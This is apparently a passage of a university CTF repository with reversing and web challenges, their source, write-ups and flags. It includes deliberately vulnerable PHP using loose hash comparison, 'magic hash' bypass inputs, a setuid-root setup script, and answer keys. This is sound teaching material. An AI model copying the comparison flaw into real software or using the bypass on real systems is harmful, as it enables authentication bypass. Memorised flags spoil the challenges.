eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.a.u();7.a.t("r");b.c("v g h d?");7.a.w("q",(s)=>{x f=s.z();3(f.p===l){3(f.6(0,8)==="i"){3(f.6(8,4)==="m{"){3(f.6(o,9)==="n".k("").j().y("")){3(f.6(D,5)==="N".A()){3(f.6(M,1)===(L K)[2]){3(f.6(I,1)===J(1+2+2)){3(f.6(C,5)===\'B}\'){b.c("E! F g h H d!");7.e()}}}}}}}}b.c("G d!");7.e()})',50,50,'|||if|||substr|process|||stdin|console|log|flag|exit||is|the|Guardian|reverse|split|33|CTF|_nuf_3v4h|12|length|data|utf8||setEncoding|resume|What|on|var|join|trim|toLowerCase|fuck|28|21|YES|That|wrong|correct|27|String|null|typeof|26|W17H_'.split('|'),0,{})) -------------------------------------------------------------------------------- /rev/WTF/src/original.js: -------------------------------------------------------------------------------- 1 | process.stdin.resume(); 2 | process.stdin.setEncoding("utf8"); 3 | console.log("What is the flag?"); 4 | process.stdin.on("data", (s) => { 5 | var f = s.trim(); 6 | if (f.length === 33) { 7 | if (f.substr(0, 8) === "Guardian") { 8 | if (f.substr(8, 4) === "CTF{") { 9 | if (f.substr(12, 9) === "_nuf_3v4h".split("").reverse().join("")) { 10 | if (f.substr(21, 5) === "W17H_".toLowerCase()) { 11 | if (f.substr(26, 1) === (typeof null)[2]) { 12 | if (f.substr(27, 1) === String(1+2+2)) { 13 | if (f.substr(28, 5) === 'fuck}') { 14 | console.log("YES! That is the correct flag!"); 15 | process.exit(); 16 | } 17 | } 18 | } 19 | } 20 | } 21 | } 22 | } 23 | } 24 | console.log("wrong flag!"); 25 | process.exit(); 26 | }) -------------------------------------------------------------------------------- /rev/easy_big/README.md: -------------------------------------------------------------------------------- 1 | # easy big 2 | > author: 이시훈(push0ebp) / difficulty: normal / points: 450 3 | 4 | ## Description 5 | Can you guess what the flag is? Let's reverse it! 6 | Thanks to push0ebp from WhoIs(Ajou Univ). 7 | 8 | ## Write up 9 | TBD 10 | -------------------------------------------------------------------------------- /rev/easy_big/binary/easy_big: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/rev/easy_big/binary/easy_big -------------------------------------------------------------------------------- /rev/easy_big/release/easy_big: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/rev/easy_big/release/easy_big -------------------------------------------------------------------------------- /rev/killer_queen/Makefile: -------------------------------------------------------------------------------- 1 | all : 2 | gcc -m32 -o killer_queen killer_queen.c 3 | gcc -o generate_flag2 generate_flag2.c 4 | clean : 5 | rm -r ./killer_queen ./generate_flag2 ./problem -------------------------------------------------------------------------------- /rev/killer_queen/README.md: -------------------------------------------------------------------------------- 1 | # Killer Queen 2 | 난이도: Normal 3 | 점수: 1st는 50, 2nd는 150? 4 | 5 | ## description 6 | Have you headr about queen? I love it! 7 | 8 | ## How to run 9 | 혹시 ssh 서버로 올리나요? nc로만 해야되는거면 1st stage는 걍 삭제해야될듯 10 | sudo 권한으로 ./set_auth.sh 실행 11 | problem directory 에서 실행하면 됨. 12 | 13 | ## 1st stage 14 | 잘 보면 안에 fork하고, parent process가 child를 기다림. child가 SIGNUM 9에 의해 종료됐으면 flag 보여줌 15 | 16 | GuardianCTF{XOR_is_very_easy} 17 | 18 | ## 2nd stage 19 | encode 함수를 보면 string에서 iterate하면서 지금 index랑 다음 index를 xor함. 이를 거꾸로 하면 string을 알 수 있다. 20 | 21 | GuardianCTF{WoW_you_can_kill_me} 22 | 23 | ## hint 24 | Do you know program named `kill`? when you kill child process, magic happen! 25 | -------------------------------------------------------------------------------- /rev/killer_queen/flag1.txt: -------------------------------------------------------------------------------- 1 | GuardianCTF{WoW_you_can_kill_me} -------------------------------------------------------------------------------- /rev/killer_queen/flag2.txt: -------------------------------------------------------------------------------- 1 | 2 -=# 6,) &: 2 | } -------------------------------------------------------------------------------- /rev/killer_queen/generate_flag2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void encode(char* input, int length) { 6 | for (int i = 0; i < length - 1; i++) { 7 | input[i] = input[i] ^ input[i + 1]; 8 | } 9 | } 10 | 11 | 12 | int main() { 13 | char buf[] = "GuardianCTF{XOR_is_very_easy}"; 14 | 15 | encode(buf, sizeof(buf)); 16 | 17 | int fd = open("./flag2.txt", O_RDWR); 18 | write(fd, buf, sizeof(buf)); 19 | 20 | return 0; 21 | } -------------------------------------------------------------------------------- /rev/killer_queen/killer_queen: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/rev/killer_queen/killer_queen -------------------------------------------------------------------------------- /rev/killer_queen/killer_queen.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define BUF_SIZE 40 7 | 8 | char flag2[] = { 0x32, 0x14, 0x13, 0x16, 0x0d, 0x08, 0x0f, 0x2d, 0x17, 0x12, 0x3d, 0x23, 0x17, 0x1d, 0x0d, 0x36, 0x1a, 0x2c, 0x29, 0x13, 0x17, 0x0b, 0x26, 0x3a, 0x04, 0x12, 0x0a, 0x04, 0x7d, 0x00 }; 9 | 10 | void encode(char* input, int length) { 11 | for (int i = 0; i < length - 1; i++) { 12 | input[i] = input[i] ^ input[i + 1]; 13 | } 14 | } 15 | 16 | int main() { 17 | char buf[BUF_SIZE]; 18 | 19 | read(0, buf, BUF_SIZE - 1); 20 | 21 | for (int i = 0; i < BUF_SIZE - 1; i++) { 22 | if (buf[i] == 0x0a) { 23 | buf[i] = 0; 24 | } 25 | } 26 | buf[BUF_SIZE - 1] = 0; 27 | 28 | encode(buf, BUF_SIZE); 29 | 30 | if (!strcmp(buf, flag2)) { 31 | printf("Wow! that is correct input! Get your flag here\n"); 32 | } 33 | else { 34 | printf("No..that is not the answer..try hard!\n"); 35 | } 36 | 37 | fflush(stdin); 38 | exit(0); 39 | } 40 | -------------------------------------------------------------------------------- /rev/killer_queen/set_auth.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | make 3 | chown root:root ./killer_queen flag1.txt 4 | chmod 4755 ./killer_queen 5 | chmod 600 ./flag1.txt 6 | 7 | if [ -d problem ] ; then 8 | cp -t problem ./killer_queen ./flag1.txt 9 | else 10 | mkdir ./problem 11 | cp -t problem ./killer_queen ./flag1.txt 12 | fi -------------------------------------------------------------------------------- /rev/pysiha/README.md: -------------------------------------------------------------------------------- 1 | # pysiha 2 | > author: 이진우(munji) / difficulty: normal / points: 250 3 | 4 | ## Description 5 | pyc.....si..ha..? 6 | 7 | ## Write up 8 | `.pyc`파일은 decompile이 가능하다. 온라인에서 하든, `uncompyle6`을 사용하든 디컴파일을 하면 큰 숫자가 하나 있고, 이 숫자를 어떻게 해서 `exec()`으로 실행시키는 것을 확인할 수 있다. 이 숫자를 hex string으로 나타내고 hex decode를 하면 다른 파이썬 코드가 나오고 이 코드가 실행이 되는 것이다. 9 | 10 | 얻어낸 파이썬 코드를 보면 문자열을 입력받고, 한글자씩 xor연산을 시킨 뒤 base64로 인코딩, hex로 인코딩하여 나온 숫자를 answer와 비교해본다. 즉, 모두 역변환이 가능하므로 answer를 hex decode하고 base64로 디코딩시킨 뒤 0x30으로 xor시키면 플래그가 나온다. 11 | -------------------------------------------------------------------------------- /rev/pysiha/binary/prob.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/rev/pysiha/binary/prob.pyc -------------------------------------------------------------------------------- /rev/warmup/Makefile: -------------------------------------------------------------------------------- 1 | default: 2 | gcc -m32 -o warmup ./rev_warmup.c 3 | clean: 4 | rm ./warmup 5 | -------------------------------------------------------------------------------- /rev/warmup/README.md: -------------------------------------------------------------------------------- 1 | # Reversing Warmup 2 | made by KwonL 3 | 4 | warmup 5 | 6 | 10 point 7 | 8 | ## Description 9 | 10 | Welcome to reversing! Good luck to your challenge! 11 | 12 | ## Writeup 13 | 14 | strings ./warmup을 해도 되고, gdb r2 등 리버싱 툴로 보면 flag의 메모리 위치를 알려주는 함수가 있다. 15 | 16 | ## Hint 17 | 18 | - `nm`, `gdb` (1) 19 | - `파일에 포함된 문자열을 알려주는 명령어가 있다던데?` (2) -------------------------------------------------------------------------------- /rev/warmup/rev_warmup.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | char flag[60] = "GuardianCTF{c0n6r4_70_y0ur_f15r7_r3v3r51n6}"; 4 | 5 | int Please_see_0x0804a040() { 6 | return 1; 7 | } 8 | 9 | int main(int argc, char const *argv[]) 10 | { 11 | puts("!dlrow gnisrever ot emocleW\n"); 12 | puts(".margorp siht nur yllufsseccus tsuj evah uoY\n"); 13 | puts("?si galf eht kniht uoy od erehW, oS\n"); 14 | puts("You can even find a flag without reversing it.\n"); 15 | 16 | Please_see_0x0804a040(); 17 | 18 | return 0; 19 | } -------------------------------------------------------------------------------- /rev/warmup/warmup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/rev/warmup/warmup -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/README.md: -------------------------------------------------------------------------------- 1 | # Hash browns is delicious 2 | 3 | > author: 최경재(siha) / difficulty: medium / points: 300 4 | 5 | ## Description 6 | 7 | 매일 아침으로 해시 브라운을 먹을 정도로 해시를 좋아하는 siha는, 작년 Google이 해시 함수인 SHA1를 깨트리는 데에 성공했다는 소식을 듣고 깜짝 놀랐다. 8 | 9 | 그러나 논문을 읽기가 귀찮았던 siha는 CTF 참가자들에게 대신 해시를 깨트리는 일을 시켜보기로 하였다. 10 | 11 | 12 | ## Hint 13 | - php의 비교 연산자는 '==' 와 '===' 두 가지가 있다. (30) 14 | - http://php.net/manual/en/language.operators.comparison.php (150) 15 | 16 | ## Write up 17 | 18 | php에서 '0e[0-9]+' 는 0으로 취급된다. 19 | 20 | ``` 21 | md5(0e000000000000000000000329568726) = 0e910477264496664586831669209832 22 | 23 | sha1(0e1290633704) = 0e19985187802402577070739524195726831799 24 | ``` 25 | 26 | ## How to run 27 | 28 | Nginx 등을 사용하여 index.php 파일을 제공, flag.php는 직접 접근 하지 못하도록 할 것. 29 | 30 | ## flag 31 | 32 | GuardianCTF{d0n7_u53_md5_5h41_4nd_php} 33 | -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | 3 | WORKDIR /var/www/html 4 | COPY index.php . 5 | COPY flag.php / 6 | 7 | EXPOSE 80 8 | -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/release/flag.php: -------------------------------------------------------------------------------- 1 |

GuardianCTF{d0n7_u53_md5_5h41_4nd_php}

2 | -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/release/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 2^128 분의 1의 확률을 맞추다니??

"; 21 | $success1 = true; 22 | } 23 | if($inp2 == $sha1) 24 | { 25 | echo "

2^160 분의 1의 확률을 맞추다니???

"; 26 | $success2 = true; 27 | } 28 | 29 | if ($success1 && $success2) 30 | { 31 | require "/flag.php"; 32 | } 33 | else 34 | { 35 | echo "

FAIL

"; 36 | } 37 | } 38 | ?> 39 |

MD5와 SHA1이 취약한 해시 알고리즘이라는 것은 잘 알려져 있다. 그렇다면 어디 한번 공격해볼까?

40 |
41 | 42 | 43 | 44 | 45 | 46 |
47 | 48 | Source Code 49 | 50 | 51 | -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/src/flag.php: -------------------------------------------------------------------------------- 1 |

GuardianCTF{d0n7_u53_md5_5h41_4nd_php}

2 | -------------------------------------------------------------------------------- /web/hash_browns_is_delicious/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 2^128 분의 1의 확률을 맞추다니??

"; 21 | $success1 = true; 22 | } 23 | if($inp2 == $sha1) 24 | { 25 | echo "

2^160 분의 1의 확률을 맞추다니???

"; 26 | $success2 = true; 27 | } 28 | 29 | if ($success1 && $success2) 30 | { 31 | require "flag.php"; 32 | } 33 | else 34 | { 35 | echo "

FAIL

"; 36 | } 37 | } 38 | ?> 39 |

MD5와 SHA1이 취약한 해시 알고리즘이라는 것은 잘 알려져 있다. 그렇다면 어디 한번 공격해볼까?

40 |
41 | 42 | 43 | 44 | 45 | 46 |
47 | 48 | Source Code 49 | 50 | 51 | -------------------------------------------------------------------------------- /web/hello_web_world/README.md: -------------------------------------------------------------------------------- 1 | # hello_web_world 2 | 3 | > author: 최경재(siha) / difficulty: baby / points: 10 4 | 5 | ## Description 6 | 7 | 웹 세상에 온 걸 환영해! 8 | 9 | ## Hint 10 | - 웹 페이지는 HTML, CSS, and Javascript로 구성되어 있다. (0) 11 | - index.html, style.css, main.js (1) 12 | 13 | ## Write up 14 | 15 | index.html, style.css, main.js 파일의 상단에 플래그의 1/3씩이 존재한다. 16 | 17 | ## How to run 18 | 19 | serve index.html directly 20 | 21 | ## flag 22 | 23 | GuardianCTF{54y_h3ll0_70_7h3_fun_4nd_d33p_w3b_w0rld} -------------------------------------------------------------------------------- /web/hello_web_world/release/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx 2 | WORKDIR /usr/share/nginx/html 3 | ADD src.tar ./ 4 | EXPOSE 80 5 | -------------------------------------------------------------------------------- /web/hello_web_world/release/src.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/release/src.tar -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/bootstrap/glyphicons-halflings-regular.woff2 -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/icomoon/icomoon.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/icomoon/icomoon.eot -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/icomoon/icomoon.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/icomoon/icomoon.ttf -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/icomoon/icomoon.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/icomoon/icomoon.woff -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/themify-icons/themify.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/themify-icons/themify.eot -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/themify-icons/themify.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/themify-icons/themify.ttf -------------------------------------------------------------------------------- /web/hello_web_world/src/fonts/themify-icons/themify.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/fonts/themify-icons/themify.woff -------------------------------------------------------------------------------- /web/hello_web_world/src/images/img_1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/images/img_1.jpg -------------------------------------------------------------------------------- /web/hello_web_world/src/images/img_2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/images/img_2.jpg -------------------------------------------------------------------------------- /web/hello_web_world/src/images/img_3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/images/img_3.jpg -------------------------------------------------------------------------------- /web/hello_web_world/src/images/img_4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/images/img_4.jpg -------------------------------------------------------------------------------- /web/hello_web_world/src/images/loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Guardian-SNU/ctf2018-writeups/8aac9a63030dcd62b6466c4592667dc4f7ba5727/web/hello_web_world/src/images/loader.gif -------------------------------------------------------------------------------- /web/hello_web_world/src/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | Welcome to GuadianCTF 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |
32 | 33 |
34 | 35 | 46 | 47 |
48 |
49 |
50 |
51 |
52 |
53 |

껍질만 보지마라

54 |

그 안에 들어있는 것을 보라

55 |

- Talmud

56 |
57 |
58 |
59 |
60 |
61 |
62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/_bootstrap-compass.scss: -------------------------------------------------------------------------------- 1 | @function twbs-font-path($path) { 2 | @return font-url($path, true); 3 | } 4 | 5 | @function twbs-image-path($path) { 6 | @return image-url($path, true); 7 | } 8 | 9 | $bootstrap-sass-asset-helper: true; 10 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/_bootstrap-mincer.scss: -------------------------------------------------------------------------------- 1 | // Mincer asset helper functions 2 | // 3 | // This must be imported into a .css.ejs.scss file. 4 | // Then, <% %>-interpolations will be parsed as strings by Sass, and evaluated by EJS after Sass compilation. 5 | 6 | 7 | @function twbs-font-path($path) { 8 | // do something like following 9 | // from "path/to/font.ext#suffix" to "<%- asset_path(path/to/font.ext)) + #suffix %>" 10 | // from "path/to/font.ext?#suffix" to "<%- asset_path(path/to/font.ext)) + ?#suffix %>" 11 | // or from "path/to/font.ext" just "<%- asset_path(path/to/font.ext)) %>" 12 | @return "<%- asset_path('#{$path}'.replace(/[#?].*$/, '')) + '#{$path}'.replace(/(^[^#?]*)([#?]?.*$)/, '$2') %>"; 13 | } 14 | 15 | @function twbs-image-path($file) { 16 | @return "<%- asset_path('#{$file}') %>"; 17 | } 18 | 19 | $bootstrap-sass-asset-helper: true; 20 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/_bootstrap-sprockets.scss: -------------------------------------------------------------------------------- 1 | @function twbs-font-path($path) { 2 | @return font-path($path); 3 | } 4 | 5 | @function twbs-image-path($path) { 6 | @return image-path($path); 7 | } 8 | 9 | $bootstrap-sass-asset-helper: true; 10 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap.scss: -------------------------------------------------------------------------------- 1 | /*! 2 | * Bootstrap v3.3.5 (http://getbootstrap.com) 3 | * Copyright 2011-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | // Core variables and mixins 8 | @import "bootstrap/variables"; 9 | @import "bootstrap/mixins"; 10 | 11 | // Reset and dependencies 12 | @import "bootstrap/normalize"; 13 | @import "bootstrap/print"; 14 | //@import "bootstrap/glyphicons"; 15 | 16 | // Core CSS 17 | @import "bootstrap/scaffolding"; 18 | @import "bootstrap/type"; 19 | @import "bootstrap/code"; 20 | @import "bootstrap/grid"; 21 | @import "bootstrap/tables"; 22 | @import "bootstrap/forms"; 23 | @import "bootstrap/buttons"; 24 | 25 | // Components 26 | @import "bootstrap/component-animations"; 27 | @import "bootstrap/dropdowns"; 28 | @import "bootstrap/button-groups"; 29 | @import "bootstrap/input-groups"; 30 | @import "bootstrap/navs"; 31 | @import "bootstrap/navbar"; 32 | @import "bootstrap/breadcrumbs"; 33 | @import "bootstrap/pagination"; 34 | @import "bootstrap/pager"; 35 | @import "bootstrap/labels"; 36 | @import "bootstrap/badges"; 37 | @import "bootstrap/jumbotron"; 38 | @import "bootstrap/thumbnails"; 39 | @import "bootstrap/alerts"; 40 | @import "bootstrap/progress-bars"; 41 | @import "bootstrap/media"; 42 | @import "bootstrap/list-group"; 43 | @import "bootstrap/panels"; 44 | @import "bootstrap/responsive-embed"; 45 | @import "bootstrap/wells"; 46 | @import "bootstrap/close"; 47 | 48 | // Components w/ JavaScript 49 | @import "bootstrap/modals"; 50 | @import "bootstrap/tooltip"; 51 | @import "bootstrap/popovers"; 52 | @import "bootstrap/carousel"; 53 | 54 | // Utility classes 55 | @import "bootstrap/utilities"; 56 | @import "bootstrap/responsive-utilities"; 57 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_alerts.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Alerts 3 | // -------------------------------------------------- 4 | 5 | 6 | // Base styles 7 | // ------------------------- 8 | 9 | .alert { 10 | padding: $alert-padding; 11 | margin-bottom: $line-height-computed; 12 | border: 1px solid transparent; 13 | border-radius: $alert-border-radius; 14 | 15 | // Headings for larger alerts 16 | h4 { 17 | margin-top: 0; 18 | // Specified for the h4 to prevent conflicts of changing $headings-color 19 | color: inherit; 20 | } 21 | 22 | // Provide class for links that match alerts 23 | .alert-link { 24 | font-weight: $alert-link-font-weight; 25 | } 26 | 27 | // Improve alignment and spacing of inner content 28 | > p, 29 | > ul { 30 | margin-bottom: 0; 31 | } 32 | 33 | > p + p { 34 | margin-top: 5px; 35 | } 36 | } 37 | 38 | // Dismissible alerts 39 | // 40 | // Expand the right padding and account for the close button's positioning. 41 | 42 | .alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0. 43 | .alert-dismissible { 44 | padding-right: ($alert-padding + 20); 45 | 46 | // Adjust close link position 47 | .close { 48 | position: relative; 49 | top: -2px; 50 | right: -21px; 51 | color: inherit; 52 | } 53 | } 54 | 55 | // Alternate styles 56 | // 57 | // Generate contextual modifier classes for colorizing the alert. 58 | 59 | .alert-success { 60 | @include alert-variant($alert-success-bg, $alert-success-border, $alert-success-text); 61 | } 62 | 63 | .alert-info { 64 | @include alert-variant($alert-info-bg, $alert-info-border, $alert-info-text); 65 | } 66 | 67 | .alert-warning { 68 | @include alert-variant($alert-warning-bg, $alert-warning-border, $alert-warning-text); 69 | } 70 | 71 | .alert-danger { 72 | @include alert-variant($alert-danger-bg, $alert-danger-border, $alert-danger-text); 73 | } 74 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_badges.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Badges 3 | // -------------------------------------------------- 4 | 5 | 6 | // Base class 7 | .badge { 8 | display: inline-block; 9 | min-width: 10px; 10 | padding: 3px 7px; 11 | font-size: $font-size-small; 12 | font-weight: $badge-font-weight; 13 | color: $badge-color; 14 | line-height: $badge-line-height; 15 | vertical-align: middle; 16 | white-space: nowrap; 17 | text-align: center; 18 | background-color: $badge-bg; 19 | border-radius: $badge-border-radius; 20 | 21 | // Empty badges collapse automatically (not available in IE8) 22 | &:empty { 23 | display: none; 24 | } 25 | 26 | // Quick fix for badges in buttons 27 | .btn & { 28 | position: relative; 29 | top: -1px; 30 | } 31 | 32 | .btn-xs &, 33 | .btn-group-xs > .btn & { 34 | top: 0; 35 | padding: 1px 5px; 36 | } 37 | 38 | // [converter] extracted a& to a.badge 39 | 40 | // Account for badges in navs 41 | .list-group-item.active > &, 42 | .nav-pills > .active > a > & { 43 | color: $badge-active-color; 44 | background-color: $badge-active-bg; 45 | } 46 | 47 | .list-group-item > & { 48 | float: right; 49 | } 50 | 51 | .list-group-item > & + & { 52 | margin-right: 5px; 53 | } 54 | 55 | .nav-pills > li > a > & { 56 | margin-left: 3px; 57 | } 58 | } 59 | 60 | // Hover state, but only for links 61 | a.badge { 62 | &:hover, 63 | &:focus { 64 | color: $badge-link-hover-color; 65 | text-decoration: none; 66 | cursor: pointer; 67 | } 68 | } 69 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_breadcrumbs.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Breadcrumbs 3 | // -------------------------------------------------- 4 | 5 | 6 | .breadcrumb { 7 | padding: $breadcrumb-padding-vertical $breadcrumb-padding-horizontal; 8 | margin-bottom: $line-height-computed; 9 | list-style: none; 10 | background-color: $breadcrumb-bg; 11 | border-radius: $border-radius-base; 12 | 13 | > li { 14 | display: inline-block; 15 | 16 | + li:before { 17 | content: "#{$breadcrumb-separator}\00a0"; // Unicode space added since inline-block means non-collapsing white-space 18 | padding: 0 5px; 19 | color: $breadcrumb-color; 20 | } 21 | } 22 | 23 | > .active { 24 | color: $breadcrumb-active-color; 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_close.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Close icons 3 | // -------------------------------------------------- 4 | 5 | 6 | .close { 7 | float: right; 8 | font-size: ($font-size-base * 1.5); 9 | font-weight: $close-font-weight; 10 | line-height: 1; 11 | color: $close-color; 12 | text-shadow: $close-text-shadow; 13 | @include opacity(.2); 14 | 15 | &:hover, 16 | &:focus { 17 | color: $close-color; 18 | text-decoration: none; 19 | cursor: pointer; 20 | @include opacity(.5); 21 | } 22 | 23 | // [converter] extracted button& to button.close 24 | } 25 | 26 | // Additional properties for button version 27 | // iOS requires the button element instead of an anchor tag. 28 | // If you want the anchor version, it requires `href="#"`. 29 | // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Safari_Mobile 30 | button.close { 31 | padding: 0; 32 | cursor: pointer; 33 | background: transparent; 34 | border: 0; 35 | -webkit-appearance: none; 36 | } 37 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_code.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Code (inline and block) 3 | // -------------------------------------------------- 4 | 5 | 6 | // Inline and block code styles 7 | code, 8 | kbd, 9 | pre, 10 | samp { 11 | font-family: $font-family-monospace; 12 | } 13 | 14 | // Inline code 15 | code { 16 | padding: 2px 4px; 17 | font-size: 90%; 18 | color: $code-color; 19 | background-color: $code-bg; 20 | border-radius: $border-radius-base; 21 | } 22 | 23 | // User input typically entered via keyboard 24 | kbd { 25 | padding: 2px 4px; 26 | font-size: 90%; 27 | color: $kbd-color; 28 | background-color: $kbd-bg; 29 | border-radius: $border-radius-small; 30 | box-shadow: inset 0 -1px 0 rgba(0,0,0,.25); 31 | 32 | kbd { 33 | padding: 0; 34 | font-size: 100%; 35 | font-weight: bold; 36 | box-shadow: none; 37 | } 38 | } 39 | 40 | // Blocks of code 41 | pre { 42 | display: block; 43 | padding: (($line-height-computed - 1) / 2); 44 | margin: 0 0 ($line-height-computed / 2); 45 | font-size: ($font-size-base - 1); // 14px to 13px 46 | line-height: $line-height-base; 47 | word-break: break-all; 48 | word-wrap: break-word; 49 | color: $pre-color; 50 | background-color: $pre-bg; 51 | border: 1px solid $pre-border-color; 52 | border-radius: $border-radius-base; 53 | 54 | // Account for some code outputs that place code tags in pre tags 55 | code { 56 | padding: 0; 57 | font-size: inherit; 58 | color: inherit; 59 | white-space: pre-wrap; 60 | background-color: transparent; 61 | border-radius: 0; 62 | } 63 | } 64 | 65 | // Enable scrollable blocks of code 66 | .pre-scrollable { 67 | max-height: $pre-scrollable-max-height; 68 | overflow-y: scroll; 69 | } 70 | -------------------------------------------------------------------------------- /web/hello_web_world/src/sass/bootstrap/_component-animations.scss: -------------------------------------------------------------------------------- 1 | // 2 | // Component animations 3 | // -------------------------------------------------- 4 | 5 | // Heads up! 6 | // 7 | // We don't use the `.opacity()` mixin here since it causes a bug with text 8 | // fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552. 9 